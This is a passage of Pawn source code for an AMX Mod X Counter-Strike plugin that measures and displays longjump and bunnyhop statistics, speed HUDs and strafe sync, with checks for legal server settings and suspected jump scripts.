	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		gHasSpeed[id] = false;
		if( task_exists(id+334490, 0) )
			remove_task(id+334490, 0);
		client_print(id, print_chat, "[XJ] Speedometer disabled. To enable, type /speed.");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public cmdStrafeStat(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !(StrafeStat[id]) )
	{
		StrafeStat[id] = true;
		client_print(id, print_chat, "[XJ] Strafe stat enabled. To disable, type /strafestat.");
	}
	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		StrafeStat[id] = false;
		client_print(id, print_chat, "[XJ] Strafe stat disabled. To enable, type /strafestat.");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public cmdljhelp(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !(bljhelp[id]) )
	{
		bljhelp[id] = true;
		client_print(id, print_chat, "enabled");
	}
	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		bljhelp[id] = false;
		client_print(id, print_chat, "disabled");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public cmdljbeam(id)
{
	if( get_pcvar_num(kz_ljs_enabled) && !(bljbeam[id]) && get_pcvar_num(kz_ljs_beam) > 0)
	{
		bljbeam[id] = true;
		client_print(id, print_chat, "[XJ] Lj beam enabled. To disable, type /ljbeam.");
	}
	else if( get_pcvar_num(kz_ljs_enabled) )
	{
		bljbeam[id] = false;
		if (get_pcvar_num(kz_ljs_beam) > 0)
			client_print(id, print_chat, "[XJ] Lj beam disabled. To enable, type /ljbeam.");
		else
			client_print(id, print_chat, "[XJ] Lj beam disabled in plugin configuration.");
	}
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public tskSpeed(taskid)
{
	taskid-=334490;
	static alive, aliveflags, spectatedplayer, specflags;
	alive = is_user_alive(taskid);
	aliveflags = pev(taskid, pev_flags);
	spectatedplayer = get_spectated_player(taskid);
	if( spectatedplayer )
		specflags = pev(spectatedplayer, pev_flags);
	else
		specflags = INFO_ZERO;
	
	if( (alive || spectatedplayer > 0) && get_pcvar_num(kz_ljs_enabled) )
	{
		if( alive )
		{
			pev(taskid, pev_velocity, vVelocity);
			if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
				vVelocity[2]-=vVelocity[2];
		}
		else
		{
			pev(spectatedplayer, pev_velocity, vVelocity);
			if( specflags&FL_ONGROUND && specflags&FL_INWATER )
				vVelocity[2]-=vVelocity[2];
		}
				
		if( get_pcvar_num(kz_ljs_fastserver) == 1 )
			set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.2, 0.0, 0.0, 2);
		else if( !(get_pcvar_num(kz_ljs_fastserver) == 1 || get_pcvar_num(kz_ljs_fastserver) == 2) )
			set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.6, 0.0, 0.0, 2);
		
		if( get_pcvar_num(kz_ljs_speedtype) == 1 )
			show_hudmessage(taskid, "%d units/second", floatround(vector_length(vVelocity), floatround_floor));
		else if( get_pcvar_num(kz_ljs_speedtype) == 2 )
		{
			if( vVelocity[2] != 0 )
				vVelocity[2]-=vVelocity[2];
			gSpeed = vector_length(vVelocity);
			show_hudmessage(taskid, "%d velocity", floatround(gSpeed, floatround_floor));
		}
		else
		{
			if( vVelocity[2] != 0 )
				vVelocity[2]-=vVelocity[2];
			gSpeed = vector_length(vVelocity);
			if( alive )
			{
				pev(taskid, pev_velocity, vVelocity);
				if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
					vVelocity[2]-=vVelocity[2];
			}
			else
			{
				pev(spectatedplayer, pev_velocity, vVelocity);
				if( specflags&FL_ONGROUND && specflags&FL_INWATER )
					vVelocity[2]-=vVelocity[2];
			}
			show_hudmessage(taskid, "%d units/second^n%d velocity", floatround(vector_length(vVelocity), floatround_floor), floatround(gSpeed, floatround_floor));
		}
	}
}

public cmdVersion(id)
{
	ColorChat(id, GREY, "^x04[XJ] Plugin: ^x01%s^x04 by: ^x03%s", gPLUGIN, gAUTHOR);
	if( get_pcvar_num(kz_ljs_enabled) )
		ColorChat(id, BLUE, "^x04[XJ] Version: ^x01%s^x04, Status:^x03 enabled", gVERSION);
	else
		ColorChat(id, RED, "^x04[XJ] Version: ^x01%s^x04, Status:^x03 disabled", gVERSION);
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public fwdStartFrame()
{
	if( get_pcvar_num(kz_legal_settings) && get_pcvar_num(kz_ljs_enabled) )
	{
		if( get_pcvar_num(edgefriction) != 2 )
			set_pcvar_num(edgefriction, 2);
		
		if( get_pcvar_num(mp_footsteps) != 1 )
			set_pcvar_num(mp_footsteps, 1);
		
		if( get_pcvar_num(sv_cheats) != 0 )
			set_pcvar_num(sv_cheats, 0);
		
		if( get_pcvar_num(sv_gravity) != 800 )
			set_pcvar_num(sv_gravity, 800);
		
		if( get_pcvar_num(sv_maxspeed) != 320 )
			set_pcvar_num(sv_maxspeed, 320);
		
		if( get_pcvar_num(sv_stepsize) != 18 )
			set_pcvar_num(sv_stepsize, 18);
		
		if( get_pcvar_num(sv_maxvelocity) != 2000 )
			set_pcvar_num(sv_maxvelocity, 2000);
	}
	
	if( FindPlayer() > -1)
	{
		if( get_pcvar_num(kz_ljs_enabled) )
		{
			set_hudmessage(255, 255, 255, -1.0, 0.65, 0, 0.0, 0.1, 0.0, 0.0, 2);
			if( !pluginstatus )
			{
				ColorChat(0, BLUE, "^x04[XJ] ^x01%s ^x04plugin^x03 enabled ^x04!", gPLUGIN);
				pluginstatus = INFO_ONE;
			}
		}
		else
		{
			if( pluginstatus )
			{
				ColorChat(0, RED, "^x04[XJ] ^x01%s ^x04plugin^x03 disabled ^x04!", gPLUGIN);
				pluginstatus = INFO_ZERO;
			}
		}
	}
	static id, fastserver, speedtype, spectatedplayer, alive, aliveflags, specflags;
	fastserver = get_pcvar_num(kz_ljs_fastserver);
	speedtype = get_pcvar_num(kz_ljs_speedtype);
	for( id = INFO_ONE; id < 33; id++ )
	{
		if( pev_valid(id) && pluginstatus )
		{
			alive = is_user_alive(id);
			aliveflags = pev(id, pev_flags);
			spectatedplayer = get_spectated_player(id);
			if( spectatedplayer )
				specflags = pev(spectatedplayer, pev_flags);
			else
				specflags = INFO_ZERO;
			if( alive || spectatedplayer )
			{
				if( alive )
				{
					pev(id, pev_velocity, vVelocity);
					if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
						vVelocity[2]-=vVelocity[2];
				}
				else
				{
					pev(spectatedplayer, pev_velocity, vVelocity);
					if( specflags&FL_ONGROUND && specflags&FL_INWATER )
						vVelocity[2]-=vVelocity[2];
				}
				
				if( fastserver == 2 && gHasSpeed[id] )
				{
					if( task_exists(id+334490, 0) )
						remove_task(id+334490, 0);
					
					if( speedtype == 1 )
						show_hudmessage(id, "%d units/second", floatround(vector_length(vVelocity), floatround_floor));
					else if( speedtype == 2 )
					{
						if( vVelocity[2] != 0 )
							vVelocity[2]-=vVelocity[2];
						gSpeed = vector_length(vVelocity);
						show_hudmessage(id, "%d velocity", floatround(gSpeed, floatround_floor));
					}
					else
					{
						if( vVelocity[2] != 0 )
							vVelocity[2]-=vVelocity[2];
						gSpeed = vector_length(vVelocity);
						if( alive )
						{
							pev(id, pev_velocity, vVelocity);
							if( aliveflags&FL_ONGROUND && aliveflags&FL_INWATER )
								vVelocity[2]-=vVelocity[2];
						}
						else
						{
							pev(spectatedplayer, pev_velocity, vVelocity);
							if( specflags&FL_ONGROUND && specflags&FL_INWATER )
								vVelocity[2]-=vVelocity[2];
						}
						show_hudmessage(id, "%d units/second^n%d velocity", floatround(vector_length(vVelocity), floatround_floor), floatround(gSpeed, floatround_floor));
					}			
				}
				else if( gHasSpeed[id]
				&& fastserver != 2
				&& !task_exists(id+334490, 0) )
				{
					if( fastserver )
						set_task(0.1, "tskSpeed", id+334490, "", 0, "b", 0);
					else
						set_task(0.5, "tskSpeed", id+334490, "", 0, "b", 0);
				}
			}
		}
	}
	
	return FMRES_IGNORED;
}

public fwdPlayerPreThink(id)
{
	if( is_user_alive(id) && get_pcvar_num(kz_ljs_enabled) )
	{		
		static Float:fGravity;
		pev(id, pev_gravity, fGravity);
		
		pev(id, pev_origin, vOrigin);
		fDistance = get_distance_f(vOldOrigin[id], vOrigin);

		weapSpeedOld[id] = weapSpeed[id];

		pev(id, pev_origin, vOldOrigin[id]);

		pev(id, pev_velocity, vVelocity);
		if( vVelocity[2] != 0 )
			vVelocity[2]-=vVelocity[2];

		pev(id, pev_maxspeed, weapSpeed[id]);
//1111
//		static flags, buttons, oldbuttons;
//		if (weapSpeed > 250)
//		{
//			static Float:baseveloc[3];
//			pev(id, pev_basevelocity, baseveloc);
//			client_print(id, print_chat,"baseveloc[0] %f baseveloc[1] %f baseveloc[2] %f",baseveloc[0],baseveloc[1],baseveloc[2]);
//		}
		
		if( vector_length(vVelocity) > (fMaxGroundSpeed[id] + 105.0) 
		|| pev(id, pev_movetype) != MOVETYPE_WALK
		|| fGravity != 1.0
		|| get_pcvar_num(edgefriction) != 2
		|| get_pcvar_num(mp_footsteps) != 1
		|| get_pcvar_num(sv_cheats) != 0
		|| get_pcvar_num(sv_gravity) != 800
		|| get_pcvar_num(sv_maxspeed) != 320
		|| get_pcvar_num(sv_stepsize) != 18
		|| get_pcvar_num(sv_maxvelocity) != 2000
		|| pev(id, pev_waterlevel) >= 2 
		|| fDistance > 22 
		|| weapSpeedOld[id] != weapSpeed[id])
		{
			gocheckBoth(id);

			return FMRES_IGNORED;
		}

		static flags, oldbuttons;
		flags = pev(id, pev_flags);
		buttons = pev(id, pev_button);
		oldbuttons = pev(id, pev_oldbuttons);

		if( (gInAir[id] == true || isBhop[id] == true) && !(flags&FL_ONGROUND) )
		{
			static i;
			for( i = INFO_ZERO; i < 2; i++ )
			{
				if( (i == 1) 
				|| (vFramePos[id][i][0] == 0
				&& vFramePos[id][i][1] == 0
				&& vFramePos[id][i][2] == 0 
				&& vFrameSpeed[id][i][0] == 0
				&& vFrameSpeed[id][i][1] == 0
				&& vFrameSpeed[id][i][2] == 0 )) //or amxx platform very intellectual :D
				{
					//pev(id, pev_origin, vOrigin);
					vFramePos[id][i][0] = vOrigin[0];
					vFramePos[id][i][1] = vOrigin[1];
					vFramePos[id][i][2] = vOrigin[2];
					
					pev(id, pev_velocity, vVelocity);
					vFrameSpeed[id][i][0] = vVelocity[0];
					vFrameSpeed[id][i][1] = vVelocity[1];
					vFrameSpeed[id][i][2] = vVelocity[2];
					i=2;
					//client_print(id, print_console,"Numb Origin %f %f %f", vOrigin[0],vOrigin[1],vOrigin[2]);
				}
			}
		}

		pev(id, pev_velocity, vVelocity);
		//if (weapSpeed == 260)
		//	client_print(id, print_console,"Pre %f	%f	%f	%f	%f	%f", vOrigin[0],vOrigin[1],vOrigin[2],vVelocity[0],vVelocity[1],vVelocity[2]);

		pev(id, pev_velocity, vVelocity);
		if( flags&FL_ONGROUND && flags&FL_INWATER )  //??
			vVelocity[2] = 0.0;
		fSpeed = vector_length(vVelocity);

		if( vVelocity[2] != 0 )
			vVelocity[2]-=vVelocity[2];

		gSpeed = vector_length(vVelocity);

		if( !(flags&FL_ONGROUND) )
			lasttime[id] = get_gametime();	

		if( gInAir[id] || isBhop[id])
		{
			if (((vOrigin[2] + 18.0 - vJumpedAt[id][2]) < 0)
			    && !(flags&FL_ONGROUND) )
			{
				fallDown[id] = true;
				static Float:fJAt2;
				fJAt2 = vJumpedAt[id][2];

				if( is_in_duck(id) )
				{
					vOrigin[2]-=18.0;
					fJAt2-=18.0;
				}

				static Float:koeff1;
				koeff1 = (fJAt2-vLastFrameOrigin[id][2])/(vOrigin[2]-vLastFrameOrigin[id][2]);

				vLastFrameOrigin[id][2] = fJAt2;
				vLastFrameOrigin[id][0] = koeff1*(vOrigin[0]-vLastFrameOrigin[id][0])+vLastFrameOrigin[id][0];
				vLastFrameOrigin[id][1] = koeff1*(vOrigin[1]-vLastFrameOrigin[id][1])+vLastFrameOrigin[id][1];

				//TODO make it better
			}
			else
			{
				fallDown[id] = false;
				vLastFrameOrigin[id] = vOrigin;
				vOrigin[2] = vJumpedAt[id][2];
			}
		
/*			if( flags&FL_ONGROUND )
			{
				fallDown[id] = false;
				
				//vOrigin[2] = vJumpedAt[id][2];	
			}
			//vLastFrameOrigin[id] = vOrigin;*/

			if( gSpeed > fMaxAirSpeed[id] )
			{
				if (strafes[id] < NSTRAFES)
				{
					strafe_stat_speed[id][strafes[id]][0] += gSpeed - fMaxAirSpeed[id];
				}
				fMaxAirSpeed[id] = gSpeed;
			}
			if ((gSpeed < TempSpeed[id]) && (strafes[id] < NSTRAFES))
			{
				strafe_stat_speed[id][strafes[id]][1] += TempSpeed[id] - gSpeed;
			}
			TempSpeed[id] = gSpeed;
		}

		maxPreSpeedWeapon = weapSpeed[id]*1.115;
		maxBhopPreSpeedWeap = weapSpeed[id]*1.2;

		if( isBhop[id] )
		{	
			if (flags&FL_ONGROUND || fallDown[id])
			{
				func69(id, TYPE_BJ);	

				//is it good, mb better to do it with pev_flDuckTime ?
				if (vFrameSpeed[id][0][2] > 229)
					jumptype[id] = TYPE_SBJ;
				else
					jumptype[id] = TYPE_BJ;

				if( ((vJumpedAt[id][2] == vOrigin[2]) || fallDown[id] )
				&& fDistance > get_pcvar_float(kz_min_bhop)
				&& !(fDistance > get_pcvar_float(kz_max_lj)) )			
				{
					sync_ = INFO_ZERO;
					strMess[0] = '^0'; //unnecessary?
					strMessBuf[0] = '^0'; //unnecessary?
					strLen = INFO_ZERO;
					badSyncTemp = INFO_ZERO;
					goodSyncTemp = INFO_ZERO;

					Fulltime = lasttime[id]-jumptime[id];
					
					if(strafes[id] < NSTRAFES)
					{
						strafe_stat_time[id][0] = jumptime[id];
						strafe_stat_time[id][strafes[id]] = lasttime[id];
 						
						for(jj = INFO_ONE;jj <= strafes[id]; jj++)
						{
							time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
							if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
							{
								sync_ = (strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer		
							}				
							else
							{
								sync_ = 0;
							}
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^t%2d^t%4.3f^t%4.3f^t%3.1f%%^t%3d%%^n", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_);

							goodSyncTemp += strafe_stat_sync[id][jj][0];
							badSyncTemp += strafe_stat_sync[id][jj][1];
						}
						if (jumptype[id] == TYPE_SBJ)
						{
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "^tType: StandUp Bhop");
						}
					}
	
					//Standart Sync
					if( goodSyncTemp > 0 )
						sync_ = (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
					else
						sync_ = INFO_ZERO;
					
					if( !(possible_lj_script[id][0] || possible_lj_script[id][1] || fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0))
					{
						check_maintop(id, floatround((fDistance*1000000), floatround_floor), floatround((fMaxAirSpeed[id]*1000000), floatround_floor), floatround((fMaxGroundSpeed[id]*1000000), floatround_floor), strafes[id], sync_, jumptype[id]);
					}

					ljStatsRed = get_pcvar_num(kz_ljstats_red);
					ljStatsGreen = get_pcvar_num(kz_ljstats_green);
					ljStatsBlue = get_pcvar_num(kz_ljstats_blue);
					ljs_beam = get_pcvar_num(kz_ljs_beam);
					static i;
					
					if( gHasLjStats[id] && bljbeam[id] )
					{
						i = DrawBeam(id, ljs_beam, 1);
					}

					static strdist[128];
					num_to_word(floatround(fDistance, floatround_floor), strdist, 127);

					for( i = INFO_ONE; i < 33; i++ )
					{
						if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i] )
						{
							copy(strMessBuf,strLen,strMess);

							if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
							{
								set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
							}
							else
							{
								set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, -1.0, 0.70, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 3);
							}

							show_hudmessage(i, "Bhop Distance: %f^nMaxSpeed: %f (%.3f)^nPreStrafe: %f (%.3f)^nStrafes: %d^nSync: %d%%^n^n^nBhop Longjump'd", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id],fMaxGroundBhopSpeed[id], strafes[id], sync_ );
							client_print(i, print_console, "Bhop Distance: %f MaxSpeed: %f (%.3f) PreStrafe: %f (%.3f) Strafes: %d Sync: %d", fDistance, fMaxAirSpeed[id], fMaxAirSpeed[id] - fMaxGroundSpeed[id], fMaxGroundSpeed[id],fMaxGroundBhopSpeed[id], strafes[id], sync_ );
							if ( StrafeStat[i] && strLen != 0 )
							{
								if ( fallDown[id] || weapSpeed[id] != 250.0 || pev(id, pev_fuser2) == 0.0)
								{
									set_hudmessage(255, 0, 109, 0.70, 0.35, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 4);
								}
								else
								{
									set_hudmessage(ljStatsRed, ljStatsGreen, ljStatsBlue, 0.70, 0.35, 0, 0.0, (vBeamLastTime[id]*0.1), 0.1, 0.1, 4);
								}
								show_hudmessage(i,"%s",strMessBuf);
								static strMessHalf[40];

								for(jj=INFO_ONE; (jj <= strafes[id]) && (jj < NSTRAFES);jj++)
								{
									strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
									replace(strMessHalf,40,"^n","");
									client_print(i, print_console, "%s", strMessHalf);	
								}
							}

							if( possible_lj_script[id][0] || possible_lj_script[id][1] )
							{
								if( possible_lj_script[id][0] && possible_lj_script[id][1] )
									client_print(i, print_center, "No ljtop access (possible lj script)");
								else
									client_print(i, print_center, "No ljtop access (possible %s script)", (possible_lj_script[id][0])?"prestrafe":"strafe");
							}
								
							if( get_pcvar_num(kz_lj_sounds) == 2 && gHasColorChat[i] && !(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
								client_cmd(i, "speak ^"vox/%s uniform(e30) it south(e15)^"", strdist);

							if( i != id && (ljs_beam == 1 || ljs_beam == 2) && bljbeam[i] )
							{
								DrawSpecBeam(i);
							}
						}
					}
					if (!(fallDown[id]) && weapSpeed[id] == 250.0 && pev(id, pev_fuser2) > 0.0)
					{
						static Float:max_lj, Float:leet_lj, Float:pro_lj, Float:good_lj, ljtop, Float:god_lj;
						ljtop = get_pcvar_num(kz_ljs_tops);

						if( (!(possible_lj_script[id][0] || possible_lj_script[id][1] )) && (ljtop == 1	|| ljtop == 3) )
						{

							max_lj = get_pcvar_float(kz_max_lj);
						/*	leet_lj = get_pcvar_float(kz_leet_lj) - 10;
							pro_lj = get_pcvar_float(kz_pro_lj) - 10;
							good_lj = get_pcvar_float(kz_good_lj) - 10;
							ljtop = get_pcvar_num(kz_ljs_tops);
						*/
							leet_lj = 240.0;
							pro_lj = 235.0;
							good_lj = 230.0;
							god_lj = 245.0;

							if( fDistance < max_lj
							&& !(fDistance < god_lj)
							&& !(0 > god_lj))
							{
								PrintChatMess(id, 3, DIST_GOD, jumptype[id]);
							}
							else if( fDistance < max_lj
							&& !(fDistance < leet_lj)
							&& !(0 > leet_lj))
							{
								PrintChatMess(id, get_pcvar_num(kz_leet_lj_clr), DIST_LEET, jumptype[id]);
							}				
							else if( fDistance < max_lj
							&& !(fDistance < pro_lj)
							&& !(0 > pro_lj))
							{
								PrintChatMess(id, get_pcvar_num(kz_pro_lj_clr), DIST_PRO, jumptype[id]);
							}						
							else if( fDistance < max_lj
							&& !(fDistance < good_lj)
							&& !(0 > good_lj))
							{
								PrintChatMess(id, get_pcvar_num(kz_good_lj_clr), DIST_GOOD, jumptype[id]);
							}
						}
					}
				}
				jumptype[id] = TYPE_NONE;
			}
		}
		else
		{ 
			if( testBhop[id] && buttons&IN_JUMP && !(oldbuttons&IN_JUMP) && flags&FL_ONGROUND)
			{
				set_task(0.71,"gocheckbhop", id);
				
				//client_print(id, print_console, "fMaxGroundBhopSpeed %f gSpeed %f fMaxGroundSpeed %f fMaxAirSpeed[id] %f OldSpeed[id] %f",fMaxGroundBhopSpeed[id], gSpeed, fMaxGroundSpeed[id], fMaxAirSpeed[id],OldSpeed[id]);
				fMaxGroundBhopSpeed[id] = gSpeed - fMaxAirSpeed[id];
				fMaxGroundSpeed[id] = gSpeed;
				fMaxAirSpeed[id] = gSpeed;

				//client_print(id, print_console, "fMaxGroundBhopSpeed %f gSpeed %f fMaxGroundSpeed %f fMaxAirSpeed[id] %f OldSpeed[id] %f",fMaxGroundBhopSpeed[id], gSpeed, fMaxGroundSpeed[id], fMaxAirSpeed[id],OldSpeed[id]);
				set_hudmessage(255, 255, 255, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
				static i;

/*
				if (fMaxGroundSpeed[id] > maxBhopPreSpeedWeap)
				{
					for( i = INFO_ONE; i < 33; i++ )
					{
						if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
						{
							show_hudmessage(i, "Prestrafe: %f (%.3f)^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], maxBhopPreSpeedWeap);
							//client_print(i, print_console, "Prestrafe: %f (%.3f) Your Maxspeed was too high, Maxspeed have to be under %.3f", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id], maxBhopPreSpeedWeap);
						}
					}
				}
				else
				{
					for( i = INFO_ONE; i < 33; i++ )
					{
						if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
						{
							show_hudmessage(i, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
							//client_print(i, print_console, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
						}
					}
				}
*/
				if (fMaxGroundSpeed[id] < maxBhopPreSpeedWeap)
				{
					for( i = INFO_ONE; i < 33; i++ )
					{
						if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
						{
							show_hudmessage(i, "Prestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
							client_print(i, print_console, "OLDPrestrafe: %f (%.3f)", fMaxGroundSpeed[id], fMaxGroundBhopSpeed[id]);
						}
					}
				}
				isBhop[id] = true;
				testBhop[id] = false;
				jumptype[id] = TYPE_NONE; // ???

			}
			else
			{ //TODO pravilnie yslovi9??
				if( testBhop[id] && (isBhop[id] == false))
				{
					if (!(buttons&IN_JUMP) && oldbuttons&IN_JUMP)
					{
						//client_print(id, print_console, "slishkom rano");
						set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, 3);
						static i;
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
							{
								show_hudmessage(id,"You pressed jump too early!");
								//client_print(id, print_console, "You pressed jump too early");
							}
						}
					}
					jumptype[id] = TYPE_NONE;
				}
				testBhop[id] = false;
			}

			if( buttons&IN_JUMP
			&& !(oldbuttons&IN_JUMP)
			&& flags&FL_ONGROUND
			&& gInAir[id] == false )
			{
				pev(id, pev_origin, vOrigin);

				static Float:temp[3],Float:temp2[3];
				temp[0] = vFallAt[id][0];
				temp[1] = vFallAt[id][1];
				temp[2] = 0.0;

				temp2[0] = vOrigin[0];
				temp2[1] = vOrigin[1];
				temp2[2] = 0.0;

				//client_print(id, print_console,"wj %f",get_distance_f(vFallAt[id], vOrigin) );
				//client_print(id, print_console,"wj %f",get_distance_f(temp, temp2) );

				if (jumptype[id] == TYPE_WJ && get_distance_f(temp, temp2) > 5.2)
				{
					jumptype[id] = TYPE_NONE;

					if ( get_distance_f(temp, temp2) < 12.0 )
					{
						gocheck(id);

						//BUGBUGBUG it possible to do CJ with good prestrafe after unsucessfull Wj

						//client_print(id, print_chat,"obnylili wj %f",get_distance_f(vFallAt[id], vOrigin) );	
						return FMRES_IGNORED;
					}
				}
				set_task(0.8,"gocheck", id);
			
				jumptime[id] = get_gametime();
				static i;
				gInAir[id] = true;	

				//strafecounter_oldbuttons[id] = 0;
				//TODO is such IF is right? i think that isBhop[id] is useless
				if (!isBhop[id] && !testBhop[id])
				{
					//vOldOrigin2[id] = vOrigin[2];
					fMaxGroundSpeed[id] = fSpeed;
					fMaxAirSpeed[id] = fSpeed;
					vJumpedAt[id][2] = vOrigin[2];

					//strafecounter_oldbuttons[id] = buttons;
				}
				strafecounter_oldbuttons[id] = INFO_ZERO;
					
				fallDown[id] = false;
	
				vJumpedAt[id][0] = vOrigin[0];
				vJumpedAt[id][1] = vOrigin[1];
				
				//client_print(id, print_console,"Numb JAT %f %f %f",vOrigin[0], vOrigin[1],vOrigin[2]);
			
				if( doubleducked[id] && vOrigin[2] == vDuckedAt[id][2] )
					cjumped[id] = true;
				else
					cjumped[id] = false;
			
				doubleducked[id] = false;
			
				strafes[id] = INFO_ZERO;
	
				TempSpeed[id] = 0.0;
				//vOrigin[2] -= 70;
				//engfunc( EngFunc_TraceHull, vJumpedAt[id], vOrigin, DONT_IGNORE_MONSTERS, HULL_HUMAN, id, 0 );
				//vJumpedAtEnt[id] = get_tr2( 0, TR_pHit );

				for( i = INFO_ZERO; i < NSTRAFES; i++ )
				{
					strafe_stat_speed[id][i][0] = 0.0;
					strafe_stat_speed[id][i][1] = 0.0;
					strafe_stat_sync[id][i][0] = INFO_ZERO;
					strafe_stat_sync[id][i][1] = INFO_ZERO;
					strafe_stat_time[id][i] = 0.0;
				}
			
				turning_right[id] = false;
				turning_left[id] = false;
				strafing_aw[id] = false;
				strafing_sd[id] = false;

				ljhel[id][0] = 0.0;
				ljhel[id][1] = 0.0;
				ljhel[id][2] = 0.0;

				if( cjumped[id] == false )
				{
					vBeamLastTime[id] = 0.0;
					beam_jump_off_time[id] = jumptime[id];
					for( i = INFO_ZERO; i < 127; i++ )
					{
						vBeamPos[id][i][0] = 0.0;
						vBeamPos[id][i][1] = 0.0;
						vBeamPos[id][i][2] = 0.0;
						vBeamTime[id][i] = 0.0;
					}
					if (jumptype[id] != TYPE_WJ)
						jumptype[id] = TYPE_LJ;
				}
				/*else if (isBhop[id] == true)
				{
					//TODO: we really need this here??
					jumptype[id] = TYPE_BJ;
				}*/
				else 
				{
				 	jumptype[id] = TYPE_CJ;
				}

				for( i = INFO_ZERO; i < 2; i++ )
				{
					vFramePos[id][i][0] = 0.0;
					vFramePos[id][i][1] = 0.0;
					vFramePos[id][i][2] = 0.0;
			
					vFrameSpeed[id][i][0] = 0.0;
					vFrameSpeed[id][i][1] = 0.0;
					vFrameSpeed[id][i][2] = 0.0;
				}

				if( jumptype[id] == TYPE_WJ && !(is_in_duck(id)) )
				{
					set_hudmessage(255, 155, 100, -1.0, 0.70, 0, 0.0, 0.7, 0.1, 0.1, 3);
					if (fSpeed > maxBhopPreSpeedWeap)
					{
						//TODO redone it in PostThink with better msg
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
							{
								show_hudmessage(i, "Prestrafe: %f ^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], maxBhopPreSpeedWeap);
								client_print(i, print_console, "OLDPrestrafe: %f ^nYour Maxspeed was too high^nMaxspeed have to be under %.3f", fMaxGroundSpeed[id], maxBhopPreSpeedWeap);
							}
						}
					}
					else
					{
						for( i = INFO_ONE; i < 33; i++ )
						{
							if( (i == id || is_user_spectating_player(i, id)) && gHasLjStats[i])
							{
								show_hudmessage(i, "Prestrafe: %f", fMaxGroundSpeed[id]);
								client_print(i, print_console, "OLDPrestrafe: %f", fMaxGroundSpeed[id]);
							}
						}
					}
				}

				vFallAt[id][0] = 0.0;
				vFallAt[id][1] = 0.0;
				vFallAt[id][2] = 0.0;

				//client_print(id, print_console,"wj jumptype[id] %d",jumptype[id] );

			//	if (weapSpeed[id] > 250)
		//		{
	//				client_print(id, print_chat,"vot i prignyli %d flag1 %d ",jumptype[id],flags&FL_ONGROUND);
//				}

			}
			else if( ( fallDown[id] || flags&FL_ONGROUND ) && gInAir[id])
			{		
//				if (weapSpeed[id] > 250)
//				{
//					client_print(id, print_chat,"vot i prizemlilis %d",jumptype[id]);
//				}
				func69(id, TYPE_LCHJ);
//				if (weapSpeed[id] > 250)
//				{
//					client_print(id, print_chat,"vot i prizemlilis2 %d",jumptype[id]);
//				}

				vJumpedAt[id][0] = vFramePos[id][1][0];        //for bhop
				vJumpedAt[id][1] = vFramePos[id][1][1];        //for bhop

				if (!fallDown[id] 
				&& vJumpedAt[id][2] == vOrigin[2]
				&& fm_get_user_longjump(id) == false)
					testBhop[id] = true;
					


				if ((vJumpedAt[id][2] == vOrigin[2]) || fallDown[id] )
				{
					strMess[0] = '^0'; //unnecessary?
					strLen = INFO_ZERO;
					sync_ = INFO_ZERO;
					badSyncTemp = INFO_ZERO;
					goodSyncTemp = INFO_ZERO;
	
					Fulltime = lasttime[id]-jumptime[id];
	
					if(strafes[id] < NSTRAFES)
					{
